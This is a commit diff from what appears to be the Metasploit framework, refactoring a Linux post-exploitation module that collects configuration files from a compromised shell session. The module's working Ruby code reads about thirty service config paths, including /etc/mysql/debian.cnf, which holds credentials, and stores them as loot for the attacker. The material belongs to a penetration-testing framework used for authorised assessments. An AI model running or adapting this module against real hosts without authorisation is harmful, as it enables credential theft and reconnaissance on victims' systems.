A bunch of fixes
parent
4a0c75f4b3
commit
78331bb4c1
|
@ -20,18 +20,16 @@ class Metasploit3 < Msf::Post
|
|||
super( update_info( info,
|
||||
'Name' => 'Linux Gather Configurations',
|
||||
'Description' => %q{
|
||||
This module tries to find configuration files for commonly installed
|
||||
applications and services. We are looking for web-servers, SQL servers,
|
||||
authentication platforms, security applications and others.
|
||||
We will check the default locations for these configurations.
|
||||
The conf files that are found will be stored in your loot location.
|
||||
This module collects configuration files found on commonly installed
|
||||
applications and services, such as Apache, MySQL, Samba, Sendmail, etc.
|
||||
If a config file is found in its default path, the module will assume
|
||||
that is the file we want.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'ohdae <bindshell[at]live.com>',
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'linux' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
@ -44,15 +42,16 @@ class Metasploit3 < Msf::Post
|
|||
print_status("Info:")
|
||||
print_status("\t#{distro[:version]}")
|
||||
print_status("\t#{distro[:kernel]}")
|
||||
|
||||
|
||||
vprint_status("Finding configuration files...")
|
||||
find_configs
|
||||
end
|
||||
|
||||
def save(msg, data, ctype="text/plain")
|
||||
def save(file, data, ctype="text/plain")
|
||||
ltype = "linux.enum.conf"
|
||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||
print_status("#{msg} stored in #{loot.to_s}")
|
||||
fname = ::File.basename(file)
|
||||
loot = store_loot(ltype, ctype, session, data, fname)
|
||||
print_status("#{fname} stored in #{loot.to_s}")
|
||||
end
|
||||
|
||||
def get_host
|
||||
|
@ -67,19 +66,22 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def find_configs
|
||||
configs =["/etc/snort/snort.conf", "/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", "/etc/nginx/nginx.conf",
|
||||
"/etc/mysql/my.cnf", "/etc/ufw/ufw.conf", "/etc/ufw/sysctl.conf", "/etc/security.access.conf", "/etc/shells",
|
||||
"/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/security/access.conf", "/etc/gated.conf",
|
||||
"/etc/rpc", "/etc/psad/psad.conf", "/etc/mysql/debian.cnf", "/etc/chkrootkit.conf", "/etc/logrotate.conf",
|
||||
"/etc/rkhunter.conf", "/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/openldap.conf", "/etc/cups/cups.conf",
|
||||
"/etc/opt/lampp/etc/httpd.conf", "/etc/sysctl.conf", "/etc/proxychains.conf", "/etc/cups/snmp.conf", "/etc/mail/sendmail.conf",
|
||||
"/etc/snmp/snmp.conf"]
|
||||
configs =[
|
||||
"/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", "/etc/nginx/nginx.conf",
|
||||
"/etc/snort/snort.conf", "/etc/mysql/my.cnf", "/etc/ufw/ufw.conf",
|
||||
"/etc/ufw/sysctl.conf", "/etc/security.access.conf", "/etc/shells",
|
||||
"/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/security/access.conf",
|
||||
"/etc/gated.conf", "/etc/rpc", "/etc/psad/psad.conf", "/etc/mysql/debian.cnf",
|
||||
"/etc/chkrootkit.conf", "/etc/logrotate.conf", "/etc/rkhunter.conf",
|
||||
"/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/openldap.conf",
|
||||
"/etc/cups/cups.conf", "/etc/opt/lampp/etc/httpd.conf", "/etc/sysctl.conf",
|
||||
"/etc/proxychains.conf", "/etc/cups/snmp.conf", "/etc/mail/sendmail.conf",
|
||||
"/etc/snmp/snmp.conf"
|
||||
]
|
||||
|
||||
configs.each do |f|
|
||||
if cmd_exec("/bin/ls '#{f}'") == "#{f}"
|
||||
output = read_file("#{f}")
|
||||
save("Found #{f} \nConfiguration", output)
|
||||
end
|
||||
output = read_file("#{f}")
|
||||
save(f, output) if output !~ /No such file or directory/
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue